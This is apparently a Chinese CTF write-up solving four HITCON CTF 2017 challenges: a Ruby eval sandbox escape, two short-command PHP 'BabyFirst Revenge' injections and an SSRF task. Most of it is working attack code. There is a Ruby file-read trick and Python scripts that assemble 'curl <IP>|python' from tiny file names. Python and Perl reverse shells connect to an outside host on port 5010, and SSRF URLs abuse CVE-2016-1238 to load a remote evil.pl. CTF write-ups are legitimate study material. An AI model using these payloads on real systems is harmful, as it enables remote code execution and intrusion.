Hitcon CTF 2017 Writeup

  1. Baby Ruby Escaping
  2. BabyFirst Revenge
  3. BabyFirst Revenge v2
  4. SSRFme?

Baby Ruby Escaping

#!/usr/bin/env ruby
require 'readline'
proc {
  my_exit = Kernel.method(:exit!)
  my_puts = $stdout.method(:puts)
  ObjectSpace.each_object(Module) { |m| m.freeze if m != Readline }
  set_trace_func proc { |event, file, line, id, binding, klass|
    bad_id = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system/
    bad_class = /(?<!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread/
    if event =~ /class/ || (event =~ /call/ && (id =~ bad_id || klass.to_s =~ bad_class))
      my_puts.call "\e[1;31m== Hacker Detected (#{$&}) ==\e[0m"
      my_exit.call
    end
  }
}.call
loop do
  line = Readline.readline('baby> ', true)
  puts '=> ' + eval(line, TOPLEVEL_BINDING).inspect
end

Ruby? 不熟orz,然后尝试学了下ruby,后来发现了个任意文件读取,

ARGV<<"/etc/passwd"
print while gets

果然是读不到什么重要的东西,ctf中感觉读下

/etc/passwd
/flag
/flag.txt
/home/xxx/flag
/home/xxx/flag.txt
index.php等源代码
等,没有发现的话应该盲读的意义就不大了。

嗯,接下来想办法列目录…搞了好久没办法,本地测试的时候不小心按了两下tab,发现可以显示当前目录文件。
哦,原来是因为Readline可以保存历史记录,还可以智能地列目录。
然后列目录,读取文件就可以得到flag。

BabyFirst Revenge

提示了是在Hitcon ctf 2015的baby first基础上增加难度的

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

限制了linux命令只能是小于等于5个字符。
ls写文件,sh执行命令
rev翻转字符串

import requests
'''
# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
# generate `curl 118.88.99.44|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>18\
http://host/?cmd=>5.\
http://host/?cmd=>4\
http://host/?cmd=>89.\
http://host/?cmd=>8.\
http://host/?cmd=>11\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# got shell
http://host/?cmd=sh g
'''
cmds = [
  ">ls\\",
  "ls>_",
  ">\\ \\",
  ">-t\\",
  ">\\>g",
  "ls>>_",
  ">on",
  ">th\\",
  ">py\\",
  ">\\|\\",
  ">18\\",
  ">5.\\",
  ">4\\",
  ">89.\\",
  ">8.\\",
  ">11\\",
  ">\\ \\",
  ">rl\\",
  ">cu\\",
  "sh _",
  "sh g",
]
requests.get("http://118.88.99.44/web1.php?reset=1")
for cmd in cmds:
  requests.get("http://118.88.99.44/web1.php?cmd=%s"%cmd)

找个python反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.88.99.44",5010));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

BabyFirst Revenge v2

同上一题,但是限制4个字符

import requests
'''
# generate "g> ht- sl" to file "v"
>dir
>sl
>g\>
>ht-
*>v
# reverse file "v" to file "x", content "ls -th >g"
>rev
*v>x
# generate "curl 118.88.99.44|python;"
>\;\
>on\
>th\
>py\
>\|\
>18\
>5.\
>4\
>9.\
>8\
>8.\
>11\
>\ \
>rl\
>cu\
# got shell
sh x
sh g
'''
cmds = [
  ">dir",
  ">sl",
  ">g\>",
  ">ht-",
  "*>v",
  ">rev",
  "*v>x",
  ">\\;\\",
  ">on\\",
  ">th\\",
  ">py\\",
  ">\\|\\",
  ">18\\",
  ">5.\\",
  ">4\\",
  ">9.\\",
  ">8\\",
  ">8.\\",
  ">11\\",
  ">\\ \\",
  ">rl\\",
  ">cu\\",
  "sh x",
  "sh g",
]
requests.get("http://118.88.99.44/web1.php?reset=1")
for cmd in cmds:
  requests.get("http://118.88.99.44/web1.php?cmd=%s"%cmd)

SSRFme?

php
<?php
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);
    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

CVE-2016-1238
It was found that perl can load modules from the current directory if not found in the module directories
A local, authenticated attacker could create a specially crafted module in a writable directory and trick a user into running a perl program from that directory; if the module is not found in previous @INC paths, it will load and execute the attacker’s module.

由于perl处理模块加载时存在漏洞,如果内部存在相应模块,会尝试在当前目录加载。
找个perl的反弹shell

use Socket;$i="118.88.99.44";$p=5010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
http://13.115.136.15/?url=http://118.88.99.44/evil.pl&filename=evil.pl
http://13.115.136.15/?url=evil://118.88.99.44/evil.pl&filename=evil.pl

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com